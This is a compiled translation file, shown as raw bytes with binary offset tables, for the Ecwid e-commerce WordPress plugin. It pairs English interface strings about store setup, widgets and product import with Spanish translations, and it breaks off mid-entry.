Æ��$���LÆ��t��qÆ��¤���æÇ��A��‹È��h��ÍÉ�����6Ë��)���RË�����|Ë�����ƒË�����•Ë�����§Ë�� ���·Ë��$���ÅË�����êË��Å���ùË��Ç���¿Ì�����‡Í��$���¥Í�����ÊÍ��Y���åÍ��*���?Î�����jÎ�����rÎ�����‘Î�����®Î�����¾Î��%���ÓÎ�����ùÎ����� Ï�� ���$Ï��4���/Ï�� ���dÏ�����pÏ�����…Ï��ø���‹Ï��;���„Ð��þ���ÀÐ��D���¿Ñ��g���Ò�����lÒ��p���tÒ��Q���åÒ�����7Ó�����KÓ��]���cÓ��>���ÁÓ������Ô��D���Ô��1���_Ô�����‘Ô��I���©Ô��g���óÔ��/���[Õ��$���‹Õ��7���°Õ�����èÕ��0���Ö��%���8Ö��"���^Ö�����Ö�����‡Ö��%���£Ö��/���ÉÖ��7���ùÖ��@���1×��.���r×�����¡×��#���±×�� ���Õ×�����á×��)���ê×�����Ø��>���,Ø��h���kØ��!���ÔØ��%���öØ��1���Ù��3���NÙ��'���‚Ù�����ªÙ��(���ÅÙ��)���îÙ��)���Ú�����BÚ�����aÚ�����€Ú�����‰Ú����� Ú��-���·Ú��E���åÚ��-���+Û��8���YÛ�����’Û�� ���®Û�����ºÛ�����ÏÛ�� ���ÑÛ�����òÛ�����Ü�����Ü����� Ü�����7Ü�����JÜ�����RÜ�����[Ü�� ���mÜ�����wÜ�����ˆÜ�����™Ü�����¬Ü�����²Ü��»���ÁÜ�����}Ý�����˜Ý�����´Ý��s���¶Ý�����*Þ��/���EÞ��q���uÞ�����çÞ�����ûÞ�� ���ß�����&ß�� ���-ß�� ���7ß�� ���Aß�����Lß�� ���Sß��A���_ß��#���¡ß�����Åß�����×ß�� ���éß�� ���õß�����ÿß��)��à��c���Há�����¬á�� ���Ìá��!���íá�����â�� ���â�����+â��#���<â�����`â�����qâ�����‹â�����§â�����°â�����¸â��I��½â��ú���ä��%���å�����(å�� ���:å��×���Gå�����æ��¢���$æ�����Çæ�����Ýæ�����ðæ�����÷æ��•���ç��9���–è�����Ðè�� ���èè�� ���õè�� ���é�� ��� é�����é�����*é�����1é�����Bé�����Ké�����fé��#���é��%���¥é�����Ëé�����Üé�� ���óé�� ���ê��+���5ê��7���aê��"���™ê�����¼ê�����Ðê��*���æê��1���ë��$���Cë�����hë�� ���}ë��a���‡ë��0���éë�����ì�����/ì�����?ì�����^ì�� ���gì��4���ˆì�� ���½ì�����Çì�����Ðì�����éì�����üì�����í��5���-í�����cí��(���‚í�� ���«í��"���·í�����Úí��"���ìí�����î�����î����� î�����"î�����&î�����-î�����>î��-���Fî�����tî�����„î�����‹î�����Ÿî��"���°î�����Óî�����Üî�����íî�����ï�����ï�����2ï�����Eï��0���Tï��&���…ï�����¬ï�����Àï�����×ï�����ëï�����ûï����� ð�����ð�����#ð��"���6ð��+���Yð�����…ð��/���¢ð��!���Òð�����ôð��+���üð�����(ñ��ˆ���<ñ��(���Åñ�����îñ�����ò����� ò��$���;ò��8���`ò��8���™ò��)���Òò��#���üò����� ó�����2ó��)���Nó��M��xó�����Æô��$���Õô��2���úô��L���-õ��,��zõ�� ���§ù�����´ù�����Ìù��½���Óù��?���‘ú�����Ñú�����Øú��!���ñú��#���û�����7û�����Vû�����uû����…û��™���™ü�����3ý�����Sý�����lý�� ���ý�����¢ý�����Áý�����Ùý�����ðý��$���þ��$���+þ�����Pþ�����nþ�����Žþ�����¡þ�����¨þ�����¼þ�����Ðþ�����æþ�����ìþ��G���ûþ��W���Cÿ�����›ÿ�����¡ÿ��8���±ÿ��©���êÿ��Y���”��‹���î��:���z�×���µ�'����_���µ�����X���&�^����U���Þ����4����<� ���Q� ���^����l����ˆ�»���‘�Ã���M�Ç����#��Ù�­��ý�‘���« �u���= ���³ �@��Æ �@���U��H�›���ž�P���:�®���‹�~���:�a���¹��������1����E����]����v� ���”����Ÿ�$���¶����Û����í� ���� ��������,���6����c��������š����¬� ���¿�#���Ì�œ���ð�š����…���(�]���®� ��� ��������0� ���I�¹���W�����V��&�×���}�‘��U�`��ç�‘���H�+��Ú�Ô����É���Û�'���¥ �2���Í �^����!����_!�A���v!�G���¸!�����"����"�$���6"� ���["�8���g"�;��� "�5��Ü"� ���$�¯���3$����ã$�¡���û$�R���%����ð%���� &�Û��-&�[��� (����e(� ���}(����‡(�"���Ž(����±(�"���Í(�H���ð(�)���9)����c)�(���~)����§)����¸)����Ì)����á)����÷)����*��������I��������������“��k������R��W��y����$��%���Ü�������������í���������í��‚���þ�������±��#��Æ���y���R��#������¸��J���Z��À�������?���B��^��>��ã���Ý��¯������������������ ��� ��3����1��–���U������>�����Ç��K��q��š�������¸�����³��á���Ø���-�������Ð����������—����v���8������:���/���´���g��d���Í��������������S��?��¨��È������ò����������¢���'��Þ�������,�������Ê�����j��Z������§��P��º�������W���Ã������Å���S��Ï�������]����������T������¿���Ñ�� �������6���®������ú���”�������r����������¹���c��9������¿��é��,��Ò�������¥���������k�����������£���%��������������É��â���������Ú������½�����������Ë���L���"�������a��ß��á��ü��ª��W��t����Â���������Þ������}��.��õ��÷�� ��$������K������G��û���×��ú��~���������������0������w�������Ò�����E��¨���ï���7���Õ����������������������‰���Q��Ž������F��ª�����������¤���¾��:��\���Ï��������������O�����X��'��*��3������1������ ��������Ñ�������’���»���u���������É���9��ô���E���ˆ��©������C��������������������‡���������?������8��a��_���b�������L������@��&������*��I��C���J��™���Y���«������D������ƒ������$���£������;��F��Î�������N���Ã���G������'���©�������Ä���¦��0�����@�����^���…���ë��c���ž��������Ç������u��ý��>��:����å����.���â���†���þ��M��j���[��S��PK������Ê—[!ÛÛ¡2¬�2¬�:��ecwid-shopping-cart/languages/ecwid-shopping-cart-es_PE.ponu�„[µü¤�����������&�����î���õ�������ð����%��Š�� ��c������h��X���A��������#�����������z�������3�����(������������������³���û������’��������������Î�����Q��������e��������ù���À��-��������™��i���¬���Ö���D��œ��p�� �����!�������Œ�������(����������…��X��5��°��7��ó���µ��î��=�����������ß���;������N������¶���P����¹��������������T�����������²���\������Z���º��–�����������������&����� ������€��� ���`���”��ç��|��ó��«�������`��ä���¡�������<�������Œ��e���+�������A���‡��=������Ù��ø������¾���§���¥��)���‚����Q��Í���ì���Ô��Â���Ý���Ë��˜��‹��è��f��!��ë��� ���b��a���M��{�������<��7�����‘���¼�������������¯���Û�������ï������H��Ù���Ì���6��O��s���`����������9��Ÿ���*�������Æ��-��}���"�����æ��¤��r���à���œ���0������������ä��{������������������ö��������‰����������l��H����������v����d��/��­��� ��]���t���p�����2��ƒ���·������d��„������g���æ���U���‘������C��Ô���¶��w��­��×�����[���l�����������ü���Ø����������<��Ó��“���›�� ���o���1��� ����� ��è���V��f���¦���N�� ��E������Ÿ��•������������������Ó������� ��Ö��ø���������Û����������/������,��������~���������¼������������Ú��!������[��®��n�����������_��"��ò���(�������2���J��x��h���_��½�� ��ÿ���÷���o������M���‹���4��=��8���ÿ��ê�������2��Ð��� ��4�������Á��„���m�������Å��›�������²���������ì��5��n��I���;���•��)������6��L��V���������—���+��Ü��+��A��������������������š��Ê���Y��B��F������ �������)��Õ���é���m��i��ö���ý������5���^������|���z�������������È���´�����U����������x�����������\��ù��q���å���†������O���ô������Š���ç���V����������b��ð�������¡������������˜���ˆ�������¢��Á���ñ���Y�������������.��·���D������ã����������ê��B�������G��s��¬��Ì��µ�������R�����T��ñ��e���������� Choose another product� Thank you very much for contacting us! We will get back to you shortly.�"In stock" label�%s�%s Blog�%s Shopping Cart�%s Store�%s Store Page�%s plugin doesn't work well with my "%s" theme�%s product�%s products�%s products and %s categories�%s products and categories�%s shopping cart settings�%s stores your products data in a secure cloud storage. The product pages are displayed on the fly when a customer browses your store. So, basically, the products are not stored on the site, that's why the site search doesn't find product pages while looking through site pages and posts. This option enables a local storage mode: the products will be stored both in the cloud and on your site. The site search results will list product pages as well as regular pages/posts of your site.�%s — Advanced settings�(You will be able to confirm the changes before the actual import)�2 columns, image on the left�2 columns, image on the right�3 columns, image on the left�3 columns, image on the right�<a %s>Online store powered by %s</a>�<a %s>Reconnect</a>�<a href="admin.php?page=�<b>%s</b> categories�A slug is the last part of a URL. You can create a custom slug for your store page. It’s better to keep it short since customers and search engines prefer short URLs. For example, use "/shop" or "/products".�Action required: please connect your %s account�Add Product�Add Store�Add Store Page to Menu�Add a category page�Add a product page�Add a search and filters page�Add a store page�Add an Online Store to Your Website�Add border�Add cart and checkout page�Add categories�Add store page to the site menu�Add storefront (product listing)�Add to Menu�Add your %s store to the website and start selling in minutes.�Add your store to other site pages�Add your storefront to the website home page to make it more prominent. You can also tweak the site home page settings in <a href="%s" target="_blank">WordPress Settings > Reading</a>�Additional store pages�Additionally, you can add store controls to your website's toolbar using <a %s>WordPress native widgets</a>�Adds a cart widget for customer to see the products they added to the cart.�Adds a compact cart widget for customer to see the products they added to the cart.�Adds a shopping cart widget to the top right corner of your site.�Adds root categories list to the sidebar to let your customers navigate the store.�Adds vertical categories block to let the customer navigate your store.�Adjust your store design to fit your business needs.�Admin Label�Advanced�Advanced settings�After import, your %s store will have �All Sales Channels�Along with the store catalog, you can add other widgets and texts to the store page.�Appearance�Apps�Available qty in stock�Back to Store Settings�Background color�Bag�Basket�Before You Go�Border�Border:�Bottom left�Bottom right�Breadcrumbs�Browse all products.�Browse by Category�Bulk import products and categories to your %s store�Button color�Buy Now�Buy Now Button�Buy now buttons�By continuing, you agree to the <a %s>Terms of Service</a> and <a %s>Privacy Policy</a>.�CSS Class�CSS ID�Can you share the name of the plugin you chose?�Can you share your feedback? What was wrong?�Cancel�Cart�Cart and Checkout�Cart icon�Cart icon:�Catalog�Categories�Category�Category List Appearance�Category card layout�Category shown by default�Category thumbnail aspect ratio�Category thumbnail size�Center�Center align on a page�Change�Change store content�Choose Product�Choose product�Choose product properties to display in widget�Choose the main store page�Choose widgets to show�Click the connect button to get rights to update the product catalog�Color settings�Complete Setup�Complete setup and start selling�Configuration�Congratulations!�Connect�Connect Your Store�Connect your %s store�Connect your store�Connection error - after clicking button you need to login and provide permissions to use our plugin. Please, try again.�Contact Support�Contact us�Content�Copying products and categories.�Create Cart Page�Create Category Page�Create Product Page�Create Search Page�Create Store�Create Store Page�Create a landing page featuring one of your products.�Create a new %s account which you will use to manage your store and inventory. The registration is free.�Create a new store or connect an existing one, if you already have an %s account. The plugin will guide you through store setup and help publish it on your website.�Create new account�Create store�Current Page�Current URL slug: /<span data-ec-store-slug>%s</span>�Customer Single Sign-On�Customers�Customers can’t see your store page because it’s in draft. Publish the page to make it available for your customers.�Customers go to the cart page to review products they’ve added to the cart and proceed to the checkout.�Customize design�Customize store appearance�Customize store page address�Customize widget�Customize your store’s appearance to fit your business needs. Give your store the exact look and feel that reflects your brand.�Cyan bluish gray�Dashboard�Default category�Default category ID�Default product_ID�Default view mode on product pages�Default view mode on search results�Deleted products synchronized: %1$s out of %2$s�Demo Store�Demo store�Design�Design and content�Detect automatically�Disconnect store�Display a buy button�Display breadcrumbs�Display cart icon�Display categories menu�Display categories navigation bar�Display category page�Display footer menu�Display product page with description and a buy button�Display product with a buy button�Display search box�Display search page with filters on a side�Display shopping bag link and summary�Display shopping cart�Display shopping cart and checkout page�Display sign in link�Display sort by link�Display the shopping cart icon on site pages�Displayed product�Displays a link to the store page in sidebar for customer to quickly access your store from any page on the site.�Displays a list of products recently viewed by the customer to easily return to the products they saw in your shop.�Displays a list of random products.�Displays a random product from your store to attract customer attention.�Displays a simple search box for your customers to find a product in your store�Displays storefront: product listing and checkout�Displays the latest added products from your store. Show new products to returning customers to drive repeat sales.�Do not show�Do you like Ecwid and want to help it grow? You can add this fancy 'Powered by Ecwid' badge on your site to show your visitors that you're a proud user of Ecwid.�Do you like your %s online store? We'd appreciate it if you add your review and vote for the plugin on WordPress site.�Done�Download <a href="%s">import log</a>�Download log file�Draft�E.g. How to set up shipping�Ecwid Badge�Ecwid Ecommerce�Ecwid Ecommerce Shopping Cart�Ecwid Menu Item�Ecwid allows you to upload your products in a form of CSV file. Learn more about this tool in the Ecwid Help Center�Ecwid e-commerce widgets�Ecwid ecommerce solution�Ecwid free shopping cart�Ecwid is PCI DSS Level 1 certified, which is the gold standard for e-commerce solutions worldwide. This means you won't have any banking compliance issues when selling online with Ecwid. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#security">More details.</a>�Ecwid is a free full-featured shopping cart. It can be easily integrated with any Wordpress blog and takes less than 5 minutes to set up.�Ecwid is compatible with any WordPress theme. Be it a free theme from WordPress.org catalog, a premium theme by a third-party vendor or a custom-made theme, your Ecwid store will work good with it. If you want a premium theme, we recommend <a href="%s">TemplateMonster themes</a>�Ecwid provides free mobile applications for iOS and Android to manage your store and sell on the go. Scan products, track inventory, manage sales and accept payments using your mobile device as a POS station. <a target="_blank" href="https://www.ecwid.com/ecwid-mobile">More details.</a>�Ecwid shopping cart�Ecwid shopping cart widget�Edit�Edit Appearance�Edit Category�Edit Product�Edit Store�Edit URL Slug�Edit page�Enter an optional CSS ID to be used for this module. An ID can be used to create custom CSS styling, or to create links to particular sections of your page.�Enter optional CSS classes to be used for this module. A CSS class can be used to create custom CSS styling. You can add multiple classes, separated with a space.�Enter your Store ID�Enter your Store ID here:�Extensions for your Store�Feature a specific store category on a separate page of your site.�Feature your products in the sidebar�Filters�Filters panel position�Find your Store ID�First Page�Frequently Asked Questions�Get %s mobile app�Go to Pages�Go to Your %s Products�Greetings!�Greetings! Your %s plugin is now active.�Grid�Grid view�Help�Help customers find your store on the site. Add the store link to the site menu, create additional store pages, and highlight store products on other site pages and in sidebars.�Help customers find your store on the website.�Here you can control how many products will be displayed per page. These options define maximum values. If there is not enough space to show all product columns, %s will adapt the number of columns to hold all products.�Here you can create the content that will be used within the module.�Here, we will help you uploading your product catalog to %s from another shopping cart or other sources.�Hide�Highlight products, categories, and other store pages by adding them to separate website pages.�Highlight your best sellers or new products in the website sidebar.�Horizontal indent�Horizontal thumbnails�How can I add a cart widget to my site sidebar?�How can I manage my store from a mobile device?�How can we help you?�How do I add store categories to the site menu?�How do I put my products in the sitemap?�How much does Ecwid cost?�How secure is this plugin? Is my store PCI DSS compliant?�How to add a single product with the add to bag button to the site pages?�How to set up a storefront on Facebook with Ecwid?�I already have an account, sign in�I couldn’t find a WordPress theme that goes well with %s�I found a better plugin�I have a problem using this plugin�I have a problem with my %s store�I use this WordPress theme: %s�Icon�Icon and item count�Icon, label and item count�Icon, label, item count and subtotal�Icon, label, item count, subtotal and link�If you have a moment, please let us know why you are deactivating:�Image and title on mouse over�Image feed�Image gallery layout�Image only�Import�Import Your Products From Woocommerce to %s�Import completed�Import completed. <a href="%s">Run again.</a>�Import creates new products and update the existing products with matching SKUs.�Import is in Progress�Import my products from WooCommerce�Import product catalog from WooCommerce�Import product catalog from other sources�Import products to your %s store�Import summary�Import your WooCommerce catalog to %s�Import your products from WooCommerce to %s�Import your products from Woocommerce to %s�Imported <b>%s</b> products�Importing %s of %s items�Insert�Insert into page�Instant site�Integration with search on your site�Is it possible to display my store on the site home page?�Is there a WordPress theme for Ecwid?�It's a temporary deactivation. Please do not ask me again.�Item count only�Justify�Knowledge Base�L�Label and item count�Landscape 3:2�Landscape 4:3�Last Page�Last update�Latest Products�Layout�Layout:�Learn more�Left�Light green cyan�Link color�Linked product�List�List view�Looks like your site does not support remote POST requests that are required for %s API to work. Please, contact your hosting provider to enable cURL.�Luminous vivid amber�Luminous vivid orange�M�Make your store accessible from the site menu so your customers can easily find it.�Manage Sidebar�Manage Store on iPhone, iPad or Android�Manage products, track sales, adjust settings - <nobr>All without</nobr> leaving this page.�Manage store�Manage storefront�Marketing�Mobile�My Account�My Profile�My Sales�Name�Navigation�Need help importing your products from WooCommerce to %s?�Never show this message again�Next Page�Next page�No Thanks�No border�Not synchronized yet�Note: when enabled, the cart widget is always displayed in preview to make it easier to customize it. The "Show on store pages" and "Show when empty" options will apply to the cart widget on site when published�Nothing found for <span class="empty-page__term">"{{ data.term }}"</span>�Number of categories per row�Number of products per page�Number of products to show�On the left�On the right�Online Store�Online Store Apps�Online store�Open control panel�Open store dashboard�Options�Orders�Other�Our 4 account types vary by number of products, types of functionality, and level of support. For more information, check out our <a target="_blank" href="%s">pricing page.</a><br /><br />Pro Tip: You can also save money by enrolling in our annual plans.�Our team is already working on this issue. Please refresh the page in a few minutes. If the issue persists, please contact <a target="_blank" href="https://help.ecwid.com/customer/portal/emails/new">our customer support team</a>.�Page with that name already exists.�Pale cyan blue�Pale pink�Part of the products have not been copied to %1$s, because you reached the products limit on your pricing plan in %1$s. If you want to import more products, please consider <nobr><a %2$s>upgrading your %1$s plan.</a></nobr>�Payment�Personalize your storefront's appearance and edit the content on the store page to reflect your brand and stay connected with your customers.�Pick Category�Pick Product�Picture�Pill�Please mind the maximum number of products and categories you can have in your Ecwid store. This import tool will automatically stop when the store products limit is reached. To check the current store limit or increase it, please see the <nobr><a %s target="_blank">"Billing & Plans"</a></nobr> page in your Ecwid store control panel.�Please subscribe to a paid plan to get this feature.�Plugins for Ecwid�Portrait 2:3�Portrait 3:4�Position�Preview�Previous Page�Price�Price color�Product�Product Card Large�Product Card Small�Product List Appearance�Product Page Appearance�Product SKU�Product Search�Product Search Box�Product Search and filters�Product card text align�Product catalog will be shown automatically�Product page layout�Product price�Product quantity�Product sidebar content�Product thumbnail aspect ratio�Product thumbnail size�Product title�Products�Products are successfully synchronized. The product pages are up to date.�Products synchronized: %1$s out of %2$s�Promote your store�Provide access.�Provided by <a %s>%s</a>�Publish�Publish Store Page�Publish the page to use this option�Published�Quantity�Questions?�Random Product�Random Products�Rate %s at WordPress.org�Re-connect to Enable Control Panel�Recently Viewed Products�Recommendations for Your Online Store�Rectangle�Refresh categories list�Register at %s�Report a problem with the store�Reports�Right�S�SKU�Sales�Sales channels�Save�Save and connect your %s store to the site�Save changes�Search�Search and Filters�Search products�Search the Knowledge Base�See more�Select All�Select category�Selected Product�Selected category�Sell on Facebook�Send Message�Send a message to our support team�Send message failed�Set Up Your Store�Set manually�Set up your store�Settings�Setup�Shipping & Pickup�Shop�Shopping Cart�Shopping Cart (deprecated)�Shopping Cart Floating (deprecated)�Shopping Cart Icon�Shopping Cart Mini (deprecated)�Shopping Cart Widget�Show�Show additional image on hover�Show categories�Show customers that they can use a search and filters to find desired products faster.�Show description under the image�Show minicart�Show on all pages�Show on hover�Show on store pages�Show price inside the "Buy now" button�Show price inside the «Buy now» button�Show product card border�Show product thumbnails�Show search�Show when empty�Show your store on the home page�Single Sign-On allows your customers to have a single login for your WordPress site and your %s. When someone logs in to your site, they will automatically be logged in to their customer account in your store as well with no need to enter their email/password again.�Small icon�Small icon and item count�Some of the items could not be imported.�Sorry we're having technical difficulties.�Sorry, there is a problem. This page is supposed to display your store Control Panel. However, this Wordpress site doesn't seem to be able to connect to the Ecwid server to show your store dashboard here. This is likely caused by your server misconfiguration and can be fixed by your hosting provider. Here is a more techy description of the problem, which you can send to your hosting provider: "The Wordpress function wp_remote_post() failed to connect a remote server because of some error: "%s". Seems like HTTP POST requests are disabled on this server". <br /><br />Please feel free to contact us at <a %s>wordpress@ecwid.com</a> and we will help you contact your hosting and ask them to fix the issue. <br /><br /> Meanwhile, to manage your store, you can use the Ecwid Web Control Panel at <a %s>my.ecwid.com</a>. Your store front is working fine as well and you can check it here: <a %s>%s</a>.�Square 1:1�Start Import�Status�Stay connected with your customers. Update the content of your store anytime to tell customers about ongoing promotions and what's new in your store.�Still have questions about Ecwid? Let us know!�Store�Store Categories�Store Categories Menu�Store Category Page�Store Front Page�Store Home Page�Store ID�Store ID is a unique identifier of any %1$s store, it consists of several digits. You can find it on the "Dashboard" page of %1$s control panel. Also the Store ID will be sent in the Welcome email after the registration.�Store ID is a unique identifier of your %1$s account. You can find it in your %1$s control panel on the <a %2$s>Dashboard page</a>.�Store Link Title�Store Navigation�Store Page�Store Page Link�Store Root Categories�Store appearance�Store elements�Store management�Store page content�Store page on your site�Store root category�Store with Categories Menu�Storefront�Subject�Submit & Deactivate�Switch to draft�Synchronize products�Table�Table view�Take a few simple steps to complete store setup�Take advantage of powerful apps and extensions designed to enhance your store.�Text�Text color�Thank you for choosing %s to build your online store�The block is hidden because you don't have categories in your store. <a target="_blank" href="admin.php?page=ec-store-admin-category-id-0-mode-edit">Add categories.</a>�The category that is shown by default on the Store Front Page�The first step towards opening your online business: <br />Let’s get started and add a store to your WordPress website in <strong>3</strong> simple steps.�The plugin doesn't support the feature I want�The shopping cart icon shows the number of items in the cart and helps customers proceed to the checkout. Additionally, you can <a href="%s" target="_blank">adjust the cart icon appearance</a>.�The store is not visible on your site�The store top-level categories are automatically added to this drop-down menu�Themes for Ecwid�This import will copy your WooCommerce products and categories to your %s store.�This is a demo store. Create your store to see your store products here.�This will change the label of the module in the builder for easy identification.�Title�Title on image�Title only�Title or SKU�Title under image�Title:�To add extra functions to your store, drag and drop %s store elements on your site. When you're done, you can get back to modifying your settings.�To add your store to your website, put your %1$s Store ID in the field below. If you don't have an %1$s account yet, create one for free on the <a %2$s>%1$s website</a>.�To allow %s automatically log in customers to your store, please provide it with a permission to use the customer data in the store. <a %s>Please use this link to do that</a>�To be able to choose a product to insert to your posts and pages, you will need to re-connect your site to your %s store. This will only require you to accept permissions request – so that the plugin will be able to list your products in the "Add product" dialog.�To create sitemap for your Wordpress site we suggest using <a target="_blank" href="https://wordpress.org/plugins/google-sitemap-generator/">Google XML Sitemaps</a> or <a target="_blank" href="https://wordpress.org/plugins/wordpress-seo/">Yoast Wordpress SEO</a>.  plugins. These plugins are fully compatible with Ecwid and allow to generate a sitemap that will contain links to categories and product pages, so the store pages will get indexed faster. Please note that this option is available to <a target="_blank" href="https://www.ecwid.com/pricing">paid Ecwid users</a>.�To display your store on this site, you need to allow WordPress to access your %1$s products. Please press connect to provide permission.�To enable this feature, the plugin needs a permission to read your store product information.�To feature a single product on a separate page or blog post of your site, use <b>[ecwid_product]</b> shortcode. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#buynow">How to use it.</a>�To improve the look and feel of your product page and manage its appearance here, please enable the “Next-gen look and feel of the product page on the storefront†option in your store dashboard (“<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Settings → What’s New</a>â€).�To improve the look and feel of your product page and manage your its appearance here, please enable the “Next-gen look and feel of the product page on the storefront†option in your store dashboard (“<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Settings → What’s New</a>â€).�To improve the look and feel of your store and manage your storefront appearance here, please enable the “Next-gen look and feel of the product list on the storefront†option in your store dashboard (“<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Settings → What’s New</a>â€).�To make sure your customer can actually log in to your site and store, enable registration in the <a %s>site settings</a>�To manage your store, go to <a %s>the Store Dashboard page</a>�To sell using %1$s, you must allow WordPress to access the %1$s plugin. The connect button will direct you to your %1$s account where you can provide permission.�To show your storefront instead of the demo store, connect your existing %s account or create a new one.�To start selling, add a page to your site where the storefront will display.�Top left�Top right�Try another search.�Type in your message here�URL Slug�Update�Update your catalog�Upgrade to get this feature�Vertical indent�Vertical thumbnails�Very dark gray�Very light gray�View Store Page�View demo store page�View store page�Visit storefront�Vivid cyan blue�Vivid green cyan�Vivid red�Want to connect another %s store?�Warning: some of your online store features are disabled. Please contact your hosting provider to resolve.�We found you have a WooCommerce installed. Your WooCommerce store has %1$s products and %2$s categories. Would you like to import it to %3$s?�We noticed you have WooCommerce installed. If you want to easily copy your WooCommerce products to %s, this tool will help you.�We're synchronizing your products. This may take a few minutes. Please do not reload the page.�Website�What feature do you need?�What was wrong?�What's next?�While your store is not connected, a demo store displays on your site. Check it to get the idea of how your store may look on the site.�Wholesale prices�You can add product search box, cart widget and more on the <a href="%s">"Appearance / Widgets page"</a> here in your site admin. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#sidebarwidgets">More details.</a>�You can add the entire storefront, categories, products, or "Buy now" buttons to other pages on your site. To do that, open a page in the editor and add an appropriate %s block.�You can add the store categories menu to your site menu to help your customers easily navigate your site. Just open "Appearance > Menus" in your WordPress control panel and add the "Store with Categories Menu" item to your site menu. A drop-down menu containing your store categories will automatically appear on your site.�You can add your online store to your Facebook business page. No addons needed. Ecwid will automatically synchronize products, customers, orders and inventory between your WordPress and Facebook storefronts. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/115005892705-Facebook-Shop">More details.</a>�You can control your store look and feel on the <a %s>Design settings page</a> in your store control panel.�You can display your store on the site main page. Adjust the "Reading" settings of your site as described in our <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#displaystoreonhomepage">Help Center.</a>�You can enable an extra shopping bag icon widget that will appear on your site pages. Open “<a href="%1$s">Appearance → Customize → %2$s</a>†menu to enable it.�You can enable filters in the store settings: (“<a target="_blank" href="admin.php?page=ec-store-admin-product-filters-mode-main">Settings → Product Filters</a>â€).�You can send a new request here.�You have not viewed any product yet. Open store.�You will be able to sign up through your existing Google, Facebook or PayPal profiles as well.�Your %s store has �Your %s store is connected<br /> to your WordPress website�Your %s store is now connected<br /> to your WordPress website�Your Storefront�Your WooCommerce store has �Your email has been sent�Your product�Your store Control Panel. Right here in WordPress.�Your store has been created. Preparing your store dashboard ...�Your store is added to several pages on the site. Choose the main page. Customers are directed to the main store page when they click on the cart icon, store links in the site menu, and products in the sidebar.�Your store is almost ready!�Your store is not added to any page on your site. To let customers browse your store and place orders, create a page where the store will display.�Your store page�Your store page is currently in draft. Once you are ready, publish it to let customers browse the store and place orders.�Your store page is published. Customers can browse your store at �Your store will be shown here�Your store will be shown here!�Your storefront (product listing and checkout) is working fine, but the advanced store functions like SEO and sidebar widgets are disabled. To enable them and make sure your store works properly, please press the button below to connect your %s account. This will take less than a minute — you will only be asked to log in to your account and allow this site to get your store data.�[%s] WordPress plugin deactivation feedback (store ID: %s)�customize appearance�gutenberg-product-blockContent�gutenberg-store-block-stubStore�http://www.ecwid.com?partner=wporg�https://ecwid.to/ecwid-site�https://support.ecwid.com/hc/en-us�https://support.ecwid.com/hc/en-us/articles/208079105-Importing-products�https://support.ecwid.com/hc/en-us/search�https://www.ecwid.com/blog�or <a %s>Browse the Help Center�product-browser-attributesProduct SKU�product-browser-attributesProduct price�select product�selected product�vc-tabOnline store�«Buy now» button�PO-Revision-Date: 2020-10-12 12:46 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: Poedit 2.4.1 Language: es Project-Id-Version: temporary-strings X-Crowdin-Project: temporary-strings X-Crowdin-Project-ID: 295314 X-Crowdin-Language: es-ES X-Crowdin-File: /Wordpress Plugin/wp-plugins-ecwid-shopping-cart-stable.po X-Crowdin-File-ID: 988 Language-Team: Spanish Last-Translator: � Elegir otro producto� ¡Muchas gracias por ponerse en contacto con nosotros! Nos pondremos en contacto con usted en breve.�Etiqueta de productos «En existencia»�%s�Blog de %s�Carrito de compras de %s�Tienda de %s�Página de la tienda de %s�El complemento %s no funciona bien con mi tema «%s»�%s producto�%s productos�%s productos y %s categorías�%s productos y categorías�Configuraciones del carrito de compras de %s�%s almacena los datos de sus productos de forma segura en la nube. Las páginas de productos se muestran sobre la marcha cuando un cliente navega por su tienda. Por lo que, básicamente, los productos no se almacenan en el sitio web, por eso la búsqueda en el sitio web no encuentra páginas de productos mientras busca en las páginas del sitio web y en las publicaciones. Esta opción habilita un modo de almacenamiento local: los productos se almacenarán tanto en la nube como en su sitio web. Los resultados de la búsqueda en el sitio web incluirán las páginas de productos, así como las páginas o publicaciones habituales de su sitio web.�%s — Configuración avanzada�(podrá confirmar los cambios antes de la importación definitiva)�2 columnas, imagen a la izquierda�2 columnas, imagen a la derecha�3 columnas, imagen a la izquierda�3 columnas, imagen a la derecha�<a %s>Tienda en línea con tecnología de %s</a>�<a %s>Volver a conectar</a>�<a href="admin.php?page=�<b>%s</b> categorías�Un «slug» es la última parte de una URL. Puede crear un «slug» personalizado para la página de su tienda. Es mejor que sea corto, ya que los clientes y los motores de búsqueda prefieren las URL cortas. Por ejemplo, utilice «/tienda» o «/productos».�Acción requerida: conecte su cuenta de %s�Añadir producto�Añadir tienda�Añadir la página de la tienda al menú�Añadir una página de categoría�Añadir página de productos�Añadir una página de búsqueda y filtros�Añadir una página de tienda�Añadir una tienda en línea a su sitio web�Añadir borde�Añadir carrito y página de pago�Añadir categorías�Añadir la página de la tienda al menú del sitio web�Añadir escaparate virtual (listado de productos)�Añadir al menú�Añada su tienda de %s al sitio web y comience a vender en minutos.�Añada su tienda a otras páginas del sitio web�Añada su escaparate virtual a la página de inicio del sitio web para que sea más notable. También puede modificar la configuración de la página de inicio del sitio web en <a href="%s" target="_blank">Configuración de WordPress > Lectura</a>.�Páginas adicionales de la tienda�Además, puede añadir controles de la tienda a la barra de herramientas de su sitio web mediante <a %s>«widgets» nativos de WordPress</a>.�Añade un «widget» de carrito para que el cliente vea los productos que se han añadido al carrito.�Añade un «widget» de carrito compacto para que el cliente vea los productos que se han añadido al carrito.�Añada un «widget» de carrito de compras en la esquina superior derecha de su sitio web.�Añade la lista de categorías raíz a la barra lateral para que sus clientes puedan desplazarse por la tienda.�Añade un bloque de categorías verticales para permitir que el cliente navegue por su tienda.�Ajuste el diseño de su tienda para que se adapte a las necesidades de su negocio.�Etiqueta de administrador�Avanzado�Configuraciones avanzadas�Después de la importación, su tienda de %s tendrá �Todos los canales de venta�Junto con el catálogo de la tienda, puede añadir otros «widgets» y textos a la página de la tienda.�Apariencia�Aplicaciones�Cantidad disponible en existencia�Regresar a la configuración de la tienda�Color del fondo�Bolsa�Cesta�Antes de 